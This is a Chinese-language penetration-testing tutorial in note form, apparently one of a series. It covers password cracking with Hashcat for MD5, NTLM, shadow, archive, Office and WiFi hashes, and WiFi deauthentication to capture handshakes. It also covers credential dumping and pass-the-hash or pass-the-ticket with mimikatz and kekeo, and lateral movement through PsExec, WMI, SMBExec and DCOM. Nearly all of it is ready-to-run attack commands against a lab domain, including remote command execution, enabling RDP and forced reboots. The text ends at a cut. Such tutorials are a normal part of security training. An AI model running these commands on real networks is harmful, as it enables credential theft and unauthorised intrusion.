破解与执行

20、Hashcat 的使用

1、介绍

Hashcat 是一款用于破解密码的工具,据说是世界上最快最高级的密码破解工具,支持 LM 哈希、MD5、SHA 等系列的密码破解,同时也支持 Linux、Mac、Windows 平台。

工具地址:https://hashcat.net

项目地址:https://github.com/hashcat/hashcat

2、安装

Mac

Mac 用户直接使用 brew 安装即可

brew install hashcat

Linux

对于 Debain 的 Linux,比如 Kali、Ubuntu 可以直接使用 apt 进行安装

apt install hashcat

或者下载官方二进制文件进行安装

https://github.com/hashcat/hashcat/releases 里下载最新版压缩包,这里以 6.2.4 版为例

tar zxvf hashcat-6.2.4.7z
cd hashcat-6.2.4
chmod +x hashcat.bin
./hashcat.bin

Windows

https://github.com/hashcat/hashcat/releases 里下载最新版压缩包,解压后可以看到 hashcat.exe

3、使用

常用参数:

-r  使用自定义破解规则
-o  指定破解成功后的 hash 及所对应的明文密码的存放位置
-m  指定要破解的 hash 类型,如果不指定类型,则默认是 MD5
-a  指定要使用的破解模式,其值参考后面对参数。“-a 0” 字典攻击,“-a 1” 组合攻击;“-a 3” 掩码攻击
-D  指定 opencl 的设备类型
--show      显示已经破解的 hash 及该 hash 所对应的明文
--force     忽略破解过程中的警告信息,跑单条 hash 可能需要加上此选项
--remove    删除已被破解成功的 hash
--username      忽略 hash 文件中的指定的用户名,在破解 linux 系统用户密码 hash 可能会用到
--increment     启用增量破解模式,你可以利用此模式让 hashcat 在指定的密码长度范围内执行破解过程
--increment-min         密码最小长度,后面直接等于一个整数即可,配置 increment 模式一起使用
--increment-max         密码最大长度,同上
--outfile-format        指定破解结果的输出格式 id ,默认是 3
--self-test-disable 关闭启动自检

-a 破解模式:

0 | Straight    (字段破解)
1 | Combination (组合破解)
3 | Brute-force (掩码暴力破解)
6 | Hybrid Wordlist + Mask(字典+掩码破解)
7 | Hybrid Mask + Wordlist(掩码+字典破解)

-D 指定设备类型

1 | CPU
2 | GPU
3 | FPGA, DSP, Co-Processor

一般使用 -D 2 指定 GPU 破解

掩码设置:

l | abcdefghijklmnopqrstuvwxyz              纯小写字母
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ              纯大写字母
d | 0123456789                              纯数字
h | 0123456789abcdef                        十六进制小写字母和数字
H | 0123456789ABCDEF                        十六进制大写字母和数字
s |  !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~       特殊字符
a | ?l?u?d?s                                键盘上所有可见的字符
b | 0x00 - 0xff                             匹配密码空格

掩码设置举例:

八位数字密码:?d?d?d?d?d?d?d?d
八位未知密码:?a?a?a?a?a?a?a?a
前四位为大写字母,后面四位为数字:?u?u?u?u?d?d?d?d
前四位为数字或者是小写字母,后四位为大写字母或者数字:?h?h?h?h?H?H?H?H
前三个字符未知,中间为admin,后三位未知:?a?a?aadmin?a?a?a
6-8位数字密码:--increment --increment-min 6 --increment-max 8 ?d?d?d?d?d?d?d?d
6-8位数字+小写字母密码:--increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h

自定义掩码规则:

--custom-charset1 [chars]等价于 -1
--custom-charset2 [chars]等价于 -2
--custom-charset3 [chars]等价于 -3
--custom-charset4 [chars]等价于 -4

在掩码中用 ?1、?2、?3、?4 来表示

注意:

  • --custom-charset1 abcd ?1?1?1?1?1 等价于 -1 abcd ?1?1?1?1?1

  • -3 abcdef -4 123456 ?3?3?3?3?4?4?4?4 表示前四位可能是 adbcdef,后四位可能是 123456

另外 Hash 模式与 ID 的对照表由于太长,这里就不放了,可以直接 hashcat -h 进行查看

4、示例

MD5

密码为 8 位数字

hashcat -a 3 --force d54d1702ad0f8326224b817c796763c9 ?d?d?d?d?d?d?d?d

密码为 4 位小写字母+数字

hashcat -a 3 --force 4575621b0d88c303998e63fc74d165b0 -1 ?l?d ?1?1?1?1

密码为 1-4 位大写字母+数字

hashcat -a 3 --force 8fb5a3e7338ce951971d69be27fc5210 -1 ?u?d ?1?1?1?1 --increment --increment-min 1 --increment-max 4

指定特定字符集:123456abcdf!@+- 进行破解

hashcat -a 3 -1 123456abcdf!@+- 8b78ba5089b11326290bc15cf0b9a07d ?1?1?1?1?1

由于在终端里可能会把部分字符识别为特殊字符,因此需要转义一下

hashcat -a 3 -1 123456abcdf\!\@+- 8b78ba5089b11326290bc15cf0b9a07d ?1?1?1?1?1

如果不知道目标密码的构成情况,可以直接使用 ?a 表示使用所有字符进行破解

hashcat -a 3 19b9a36f0cab6d89cd4d3c21b2aa15be --increment --increment-min 1 --increment-max 8 ?a?a?a?a?a?a?a?a

使用字典破解

hashcat -a 0 e10adc3949ba59abbe56e057f20f883e password.txt

使用字典批量破解

hashcat -a 0 hash.txt password.txt

字典组合破解

hashcat -a 1 77b3e6926e7295494dd3be91c6934899 pwd1.txt pwd2.txt

经过测试,这里的字典组合破解,不是说简单的将两个字典的内容合并去重形成 1 个字典进行去重,而是说字典 1 的内容加上字典 2 的内容组合成一个字典,例如:

pwd1.txt 字典为:

admin
test
root

pwd2.txt 字典为:

@2021
123

那么组合后的字典就是这样的:

admin@2021
admin123
test@2021
test123
root@2021
root123

字典+掩码破解,也是和上面一样的组合方法,只不过 pwd2.txt 换成了掩码

hashcat -a 6 e120ea280aa50693d5568d0071456460 pwd1.txt ?l?l?l

Mysql4.1/5

hashcat -a 3 -m 300 --force 6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 ?d?d?d?d?d?d

可以使用 select authentication_string from mysql.user; 查看当前数据库中的密码哈希值。

sha512crypt 6, SHA512 (Unix)

sha512crypt 6, SHA512 (Unix) 破解,为了避免系统误识别到特殊字符,这里为哈希值加了单引号

hashcat -a 3 -m 1800 --force '$6$mxuA5cdy$XZRk0CvnPFqOgVopqiPEFAFK72SogKVwwwp7gWaUOb7b6tVwfCpcSUsCEk64ktLLYmzyew/xd0O0hPG/yrm2X.' ?l?l?l?l

可通过 cat /etc/shadow 获取哈希值

或者不删除用户名,直接使用 --username 参数

hashcat -a 3 -m 1800 --force 'qiyou:$6$QDq75ki3$jsKm7qTDHz/xBob0kF1Lp170Cgg0i5Tslf3JW/sm9k9Q916mBTyilU3PoOsbRdxV8TAmzvdgNjrCuhfg3jKMY1' ?l?l?l?l?l --username

NTLM

NT Hash

hashcat -a 3 -m 1000 209C6174DA490CAEB422F3FA5A7AE634 ?l?l?l?l?l

LM Hash

hashcat -a 3 -m 3000 F0D412BD764FFE81AAD3B435B51404EE ?l?l?l?l?l

NetNTLM Hash

hashcat -a 3 -m 5500 teams.six::::822795daaf96s0a811fs6dd7b01dscssc601635cc1339basda6:e125cddcf51337asc7 -1 ?l?u ?1?1?1?1?d?d?d?d  --force

MSSQL (2005)

hashcat -a 3 -m 132 --force 0x01008c8006c224f71f6bf0036f78d863c3c4ff53f8c3c48edafb ?l?l?l?l?l?d?d?d

WordPress 密码 hash

hashcat -a 3 -m 400 --force '$P$BYEYcHEj3vDhV1lwGBv6rpxurKOEWY/' ?d?d?d?d?d?d

具体加密脚本在 ./wp-includes/class-phpass.php 的 HashPassword 函数

Discuz 用户密码 hash

hashcat -a 3 -m 2611 --force 14e1b600b1fd579f47433b88e8d85291: ?d?d?d?d?d?d

其密码加密方式 md5(md5(pass).salt)

RAR 压缩密码

首先获取 rar 文件的 hash 值,我们可以使用另一款哈希破解工具 John 提供的 rar2john 工具将 rar 文件里的 hash 提取出来。

rar2john 下载地址:http://openwall.info/wiki/_media/john/johntheripper-v1.8.0.12-jumbo-1-bleeding-e6214ceab-2018-02-07-win-x64.7z

# 获取 rar 文件 hash
rar2john.exe 1.rar

hashcat 支持 RAR3-hp 和 RAR5

对于 RAR5,示例如下:

hashcat -a 3 -m 13000 --force '$rar5$16$b06f5f2d4c973d6235e1a88b8d5dd594$15$a520dddcc53dd4e3930b8489b013f273$8$733969e5bda903e4' ?d?d?d?d?d?d

对于 RAR3-hp

hashcat -a 3 -m 12500 --force '$RAR3$*0*5ba3dd697a8706fa*919ad1d7a1c42bae4a8d462c8537c9cb' ?d?d?d?d

RAR3-hp 哈希头为 RAR3*0*,而不是 RAR3*1*,中间的数值是0(-hp)而不是1(-p),-p 尚未得到支持,只支持 -hp

关于 RAR 参数 -p 和 -hp 的区别: -p:只对 RAR 文件加密,里面的目录和文件名没加密; -hp:对目录中的文件名和子目录都进行加密处理

ZIP 压缩密码

和 rar 破解过程一样,我们需要先提取 zip 文件的哈希值,这里可以使用 zip2john 进行获取,zip2john.exe 在上面下载的 rar2john.exe 的同级目录下。

# 获取 zip 文件 hash
zip2john.exe 1.zip
hashcat -a 3 -m 13600 '$zip2$*0*3*0*18b1a7e7ad39cb3624e54622849b23c7*5b99*3*5deee7*a418cee1a98710adce9a*$/zip2$' --force ?d?d?d?d?d?d

这里 ZIP 的加密算法使用的 AES256

office 密码

和 rar 与 zip 破解过程一样,我们需要先提取 office 文件的哈希值,这里可以使用 office2john.py 进行获取,office2john.py 在上面下载的 rar2john.exe 和 zip2john.exe 的同级目录下。

# 获取 office 文件 hash
python office2john.py 1.docx

测试中发现 python 会出现告警信息,不过这个告警信息不会影响程序执行

hashcat -a 3 -m 9600 '$office$*2013*100000*256*16*cd8856416b1e14305a0e8aa8eba6ce5c*18cada7070f1410f3a836c0dfc4b9643*befcde69afeafb3e652719533c824413b00ce4a499589e5ac5bd7a7a0d3c4f3d' --force ?d?d?d?d?d?d

这里哈希头为 2013 所以使用 9600 破解模式,如果是 2010 则要使用 9500 破解模式,2007 则使用 9400 破解模式。

WIFI 密码

要破解 WIFI 密码,首先要抓到 WIFI 的握手包,要想得到 WIFI 的握手包,就需要在监听时刚好有设备连接了该 WIFI,但这就需要运气加成,因此可以我们可以主动将该 WIFI 的设备踢下去,一般设备就会自动连接该 WIFI,此时我们就抓到握手包了。

抓取 WIFI 握手包

1、将网卡处于监听状态

airmon-ng check 
airmon-ng check kill // 关闭影响监听状态的进程
airmon-ng start wlan0

wlan0 是网卡名称,一般都是 wlan0,如果不是则需要根据自己的情况进行修改,可通过 iwconfig 进行查看网卡的名称

当使用 iwconfig 查看网卡名称变为 wlan0mon 说明此时网卡已经处于监听模式了

2、扫描可用 WIFI

airodump-ng wlan0mon

3、获取wifi的握手包

airodump-ng -c (上一步扫描的 CH ) --bssid (想要破解 WIFI 的 bssid ) -w (握手文件存放目录) wlan0mon

这里以 ssid 为 teamssix 的 WIFI 为例

airodump-ng -c 1 --bssid 5E:C1:1B:A2:37:F1 -w ./ wlan0mon

为了顺利得到 WIFI 的握手包,可以将该 WIFI 下的设备强制踢下去

aireplay-ng -0 0 -a (要破解的 wifi 的 bssid ) -c (强制踢下的设备的 MAC 地址) wlan0mon

可以看到 teamssix 这个 WIFI 有一个设备正在连接,该设备的 MAC 地址为:38:26:2C:13:D3:33,使用以下命令可以将其强制踢下去none

aireplay-ng -0 0 -a 5E:C1:1B:A2:37:F1 -c 38:26:2C:13:D3:33 wlan0mon

等待设备重新连接后,当右上角出现 WPA handshake 的时候说明获取成功

4、破解密码

使用 aircrack-ng 将握手包转换成 hccapx 格式

aircrack-ng 1.cap -j 1
hashcat -a 3 -m 2500 1.hccapx ?d?d?d?d?d?d?d?d --force

或者使用 hashcat 官网提供的在线工具进行格式转换:https://hashcat.net/cap2hashcat/

hashcat -a 3 -m 22000 1.hc22000 ?d?d?d?d?d?d?d?d --force

5、其他

  • Hashcat 在有时破解的时候会提示 All hashes found in potfile!,这表明该 hash 已经被破解出来过了,可以使用 hashcat [哈希值] –show 查看已破解出来的明文密码。

  • 如果想再次破解已经破解过的密码,删除 ~/.hashcat/hashcat.potfile 文件里的对应记录即可。

  • 在使用GPU模式进行破解时,可以使用 -O 参数自动进行优化

  • 在实际破解过程中,可以先使用 top 字典进行破解,不行再试试社工字典,比如姓名+生日的组合字典

  • Hashcat 参数优化:

--gpu-accel 160			可以让GPU发挥最大性能
--gpu-loops 1024		可以让GPU发挥最大性能
--segment-size 512	    可以提高大字典破解的速度

21、哈希传递与票据传递

1、哈希传递

哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式。

通过哈希传递,攻击者不需要花时间破解哈希值得到明文,在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,因此此时往往会使用工具将哈希值传递到其他计算机中进行登录验证。

NTLM Hash

在目标主机上使用 mimikatz 获取 NTLM Hash

privilege::debug
sekurlsa::logonpasswords

在远程主机上以管理员权限打开 mimikatz

privilege::debug
sekurlsa::pth /user:administrator /domain:teamssix.com /ntlm:161cff084477fe596a5db81874498a24

mimikatz 执行后,会弹出一个拥有对应 Hash 用户权限的 CMD 窗口。

AES-256 密钥

使用 mimikatz 抓取密钥

privilege::debug
sekurlsa::ekeys

在其他远程计算机中,以管理员权限打开 mimikatz

privilege::debug
sekurlsa::pth /user:administrator /domain:teamssix.com /aes256:7358fb65149672d99b8c9f3dfd0dfeb486b78268e9c5250b23aefbd26f293c60

这里需要目标机器上安装 KB2871997 补丁,补丁下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=42722

将该补丁安装后,就可以通过 AES256 密钥进行哈希传递了。

除了 AES256 外还有 AES128 等,不过平时基本都是使用 NTLM 哈希进行传递。

2、票据传递

票据传递(Pass The Ticket, PTT)是基于Kerberos认证的一种攻击方式,这里主要学习票据传递在 mimikatz 和 kekeo 两个工具里的使用。

mimikatz

使用 mimikatz 可以将内存中的票据进行导出。

privilege::debug
sekurlsa::tickets /export

执行该命令后,会在当前目录下生成多个服务的票据文件,例如 kirbi 等

使用以下命令可以清除内存中的票据

kerberos::purge

将票据文件注入内存

kerberos::ptt "[0;4beae]-2-0-40e00000-Administrator@krbtgt-TEAMSSIX.COM.kirbi"

在当前终端下退出 mimikatz ,然后就可以列出目标目录了。

票据传递除了用 mimikatz 还可以用 kekeo

kekeo

kekeo 需要使用域名、用户名、NTLM HASH 生成票据,然后再将票据导入,从而连接远程计算机。

tgt::ask /user:administrator /domain:teamssix.com /ntlm:161cff084477fe596a5db81874498a24

在 kekeo 中清除当前内存中的其他票据,不然可能会导致票据传递失败

kerberos::purge

在 Windows 命令行中也可以执行系统自带的命令进行内存中的票据清除

klist purge

使用以下命令将票据导入内存,之后 exit 退出 kekeo,使用 dir 命令就可以列出远程文件了。

kerberos::ptt "TGT_administrator@TEAMSSIX.COM_krbtgt~teamssix.com@TEAMSSIX.COM.kirbi"

注意点:

1、票据文件注入内存的默认有效时间为 10 小时

2、在目标机器上不需要本地管理员权限就可以进行票据传递

3、使用票据传递时,dir 命令必须使用主机名,如果使用 IP 地址会提示拒绝访问。

22、PsExec 和 WMI 的使用

1、PsExec

PsExec.exe

PsExec 在之前的文章里提到过一次,参见https://teamssix.com/210802-181052.html,今天来着重学习一下。

PsExec 是 PSTools 工具包里的一部分,其下载地址为:https://download.sysinternals.com/files/PSTools.zip

利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。

建立 ipc$ 连接

net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administrator
或者
net use \\192.168.7.7 /u:teamssix.com\administrator "1qaz@WSX"

在已经建立 ipc$ 的情况下,执行以下命令就可以获得 system 权限

PsExec.exe -accepteula \\192.168.7.7 -s cmd.exe
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell

如果没有建立 ipc$ 连接,也可以直接使用 PsExec 指定用户名密码进行连接

PsExec.exe \\192.168.7.7 -u administrator -p 1qaz@WSX cmd.exe
-u 域\用户名
-p 密码

或者执行以下命令直接回显命令结果

PsExec.exe \\192.168.7.7 -u administrator -p 1qaz@WSX cmd.exe /c "ipconfig"

在使用 PsExec 时需要注意以下几点:

  • 需要远程系统开启 admin$ 共享(默认是开启的)

  • 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口

  • 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。

  • 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。

  • 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是 administrator 权限的 shell

  • 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。

MSF

MSF 中也有 PsExec 的利用模块,使用方法如下:

use exploit/windows/smb/psexec
set rhost 192.168.7.7
set smbuser administrator
set smbpass 1qaz@WSX
run

2、WMI

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。

由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将 PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。

wmic 命令

WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445端⼝传回显)

wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig > c:\ip.txt"

之后建立 IPC$ ,使用 type 读取执行结果

net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administrator
type \\192.168.7.7\C$\ip.txt

也可以预先建立 ipc$ 连接,再使用 wmic

net use \\192.168.7.7\ipc$ "1qaz@WSX" /user:administrator
wmic /node:192.168.7.7 process call create "cmd.exe /c ipconfig >c:\ip.txt"
type \\192.168.7.7\C$\ip.txt

wmiexec.py

在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell

python3 wmiexec.py administrator:1qaz@WSX@192.168.7.7

wmiexec.py 还支持通过哈希传递获得 shell

python3 wmiexec.py -hashes LMHash:NTHash 域名/用户名@目标IP

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

cscript //nologo wmiexec.vbs /shell 192.168.7.7 administrator 1qaz@WSX

使用 vmiexec.vbs 执行单条命令

cscript wmiexec.vbs /cmd 192.168.7.7 administrator 1qaz@WSX "ipconfig"

因为这只是个半交互式的 Shell,因此对于运行时间比较长的命令,比如 ping、systeminfo 等,需要加上 -wait 5000 或更长的时间。

在运行 nc 等不需要输出结果但需要一直运行的进程时,可以使用 -persist 参数,当命令加了 -persist 选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的 PID,方便结束进程,这样就可以运行 nc 或者木马程序了。

不过目前 vmiexec.vbs 已经被卡巴斯基、赛门铁克等杀软列入查杀名单了。

Invoke-WmiCommand

Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用 Powershell 调用 WMI 来远程执行命令。

在 Powershell 中运行以下命令

# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1

# 指定目标系统用户名
$User = "teamssix.com\administrator" 

# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "1qaz@WSX" -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.7.7

# 将执行结果输出到屏幕上
$Remote.PayloadOutput

Invoke-WMIMethod

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。none

# 指定目标系统用户名
$User="teamssix.com\administrator"

# 指定目标系统密码
$Password=ConvertTo-SecureString -String "1qaz@WSX" -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.7.7" -Credential $Cred

可以看到在 192.168.7.7 主机中已经有进程 ID 为 3276 的 calc.exe 被执行了。

wmic 的其他命令

使用 wmic 远程开启目标的 RDP

# 适于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX RDTOGGLE WHERE ServerName='dc' call SetAllowTSConnections 1
或者
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

使用 wmic 远程重启目标计算机none

wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create "shutdown.exe -r -f -t 0"

参考文章:

https://cloud.tencent.com/developer/article/1752180

https://www.freebuf.com/articles/246440.html

原文链接:

https://teamssix.com/210902-132326.html

23、SMBExec 与 DCOM 的使用

1、SMBExec

利用 SMBExec 可以通过文件共享(admin$c$ipc$d$)在远程系统中执行命令,它的工作方式类似于 PsExec

C++ 版

C++ 版项目地址:https://github.com/sunorr/smbexec

一看这个项目是 8 年前上传的了,然后试了用 VS2019 没编译成功,而且目前各大杀软也都查杀这个工具了,所以这个就不看了,直接看 impacket 里的同类工具。

impacket 版

在 impacket 工具包里包含了 smbexec.py 工具,使用起来也很简单。

python3 smbexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7

Linux 跨平台 Windows 远程命令执行

smbexec 工具包下载地址:https://github.com/brav0hax/smbexec

这里安装以 Kali 为例

git clone https://github.com/brav0hax/smbexec.git
cd smbexec/
chmod +x install.sh
sudo ./install.sh

安装时需要选择操作系统,根据自己情况选择就行,如果是 Kali 就选择 Debain,然后选择安装目录,直接回车默认 /opt 目录即可。 安装完后,在终端里输入 smbexec 就会显示 smbexec 的主菜单,分别如下:

1. System Enumeration   // 获取系统信息
2. System Exploitation  // 执行系统命令
3. Obtain Hashes        // 获取系统哈希
4. Options              // 一些其他操作
5. Exit                 // 退出

选择菜单 1 System Enumeration 有以下选项:

1. Create a host list                 // 扫描目标 IP 段中存活的主机
2. Check systems for Domain Admin     // 获取目标系统中的管理员
3. Check systems for logged in users  // 获取当前登录目标系统的用户
4. Check systems for UAC              // 获取目标系统 UAC 的状态
5. Enumerate Shares                   // 获取目标系统中的网络共享目录
6. File Finder                        // 搜索目标系统中的敏感文件
7. Remote login validation            // 获取目标系统中远程登录的用户
8. Main menu                          // 返回主菜单

选择菜单 2 System Exploitation 有以下选项:

1. Create an executable and rc script    // 生成一个 meterpreter Payload 并在目标系统中运行它
2. Disable UAC                           // 关闭远程主机的 UAC
3. Enable UAC                            // 开启远程主机的 UAC
4. Execute Powershell                    // 执行一个 PowerShell 脚本
5. Get Shell                             // 使用基于 PsExec 的方式获得目标系统的 Shell
6. In Memory Meterpreter via Powershell  // 通过 PowerShell 在内存中插入 Meterpreter Payload
7. Remote system access                  // 远程访问系统
8. Main menu                             // 返回主菜单

选择菜单 3 Obtain Hashes 有以下选项:

1. Domain Controller            // 获取域控哈希
2. Workstation & Server Hashes  // 获取本地哈希
3. Main menu                    // 返回主菜单

选择菜单 4 Options 有以下选项:

1. Save State            // 保存当前状态
2. Load State            // 加载以前保存的状态
3. Set Thread Count      // 设置线程数
4. Generate SSL Cert     // 生成 SSL 证书
5. Enter Stealth Mode    // 进入安静模式
6. About                 // 关于
7. Main menu             // 返回主菜单

获取目标系统 UAC 的状态

获取目标系统中的网络共享目录

获取本地哈希

2、DCOM 在远程系统中的使用

COM 即组件对象模型 (Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。

COM 是许多微软产品和技术如 Windows 媒体播放器和 Windows Server 的基础。

DCOM (分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,DCOM 是 COM(组件对象模型)的扩展。

它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是 Internet 上,利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。

攻击者可使用 DCOM 进行横向移动,通过 DCOM 攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。

使用 DCOM 进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管 COM 服务器端的软件。例如我们滥用 ShellBrowserWindow COM 对象,那么就会在远程主机的现有 explorer.exe 进程中执行。

对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向 DCOM 公开方法,因此防御者较难以监测所有程序。

在本地通过 DCOM 执行命令

1、获取 DCOM 程序列表

Get-CimInstance 是 PowerShell 3.0 以上的版本自带的,因此只有 Windows Server 2012 及以上的操作系统才会自带 Get-CimInstance 命令

Get-CimInstance Win32_DCOMApplication

在 Windows 7 和 Windows Server 2008 中可以使用 Get-WmiObject 替代 Get-CimInstance

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

2、使用 DCOM 执行任意命令

在 DCOM 程序列表中有个 MMC Application Class(MMC20.Application),这个 COM 对象可以编程 MMC 管理单元操作的组件脚本。

在本地以管理员权限启动一个 PowerShell,并执行以下命令

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))

获得COM对象的实例后,还可以执行如下命令枚举这个 COM 对象中的不同方法和属性

$com.Document.ActiveView | Get-Member

在 MMC20.Application 中有个 ExecuteShellCommand 方法,我们可以拿它来执行命令,比如启动个计算器

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

除了 MMC20.Application 还有 ShellWindows、ShellBrowserWindow、Excel.Application 以及 Outlook.Application 等等可以被我们利用。

使用 DCOM 在远程主机上执行命令

在使用该方法时,需要具备以下条件:

  • 具有本地管理员权限的 PowerShell

  • 需要关闭目标系统的防火墙。

  • 在远程主机上执行命令时,必须使用域管的 administrator 账户或者在目标主机上具有管理员权限的账户

1、调用 MMC20.Application 远程执行命令

$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.7.7"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
或者
[Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.7.7")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

2、调用 ShellWindows 远程执行命令

$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.7.7"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
或者
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.7.7")).item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

以上这两种方法均适用于Windows 7、Windows 10、Windows Server 2008、Windows Server 2016 的系统。

除了 MMC20.Application 和 ShellWindows,还有以下这几种 DCOM 对象可以被利用。

3、调用 Excel.Application 远程执行命令

$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.7.7"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd.exe","/c calc.exe")

4、调用 ShellBrowserWindow 远程执行命令

适用于 Windows 10 和 Windows Server 2012 R2 等版本的系统

$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.7.7"))
$com.Document.Application.shellExecute("calc.exe")
或者
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.3.144")).Document.Application.shellExecute("calc.exe")

5、调用 Visio.Application 远程执行命令

前提是目标安装了 Visio

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.7.7"))
$com.[0].Document.Application.shellExecute("calc.exe")
或者
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.7.7")).[0].Document.Application.shellExecute("calc.exe")

6、调用 Outlook.Application 远程执行命令

前提是目标安装了 Outlook

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.7.7"))
$com.createObject("Shell.Application").shellExecute("192.168.7.7")
或者
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.7.7")).createObject("Shell.Application").shellExecute("calc.exe")

dcomexec.py 脚本

Impacket 工具包里也提供了 DCOM 的利用脚本,该脚本可以提供一个类似于 wmiexec.py 脚本的半交互式 shell,不过使用的是 DCOM

dcomexec.py 脚本目前支持 MMC20.Application、ShellWindows 和 ShellBrowserWindow 对象。

python3 dcomexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7

或者只执行一条命令

python3 dcomexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7 ipconfig

如果只知道 hash 也可以用 hash 去连接

python3 dcomexec.py teamssix.com/administrator@192.168.7.7 -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

参考文章:

https://cloud.tencent.com/developer/article/1752145

https://www.freebuf.com/articles/network/261454.html

24、SPN 的应用

0、前言

SPN

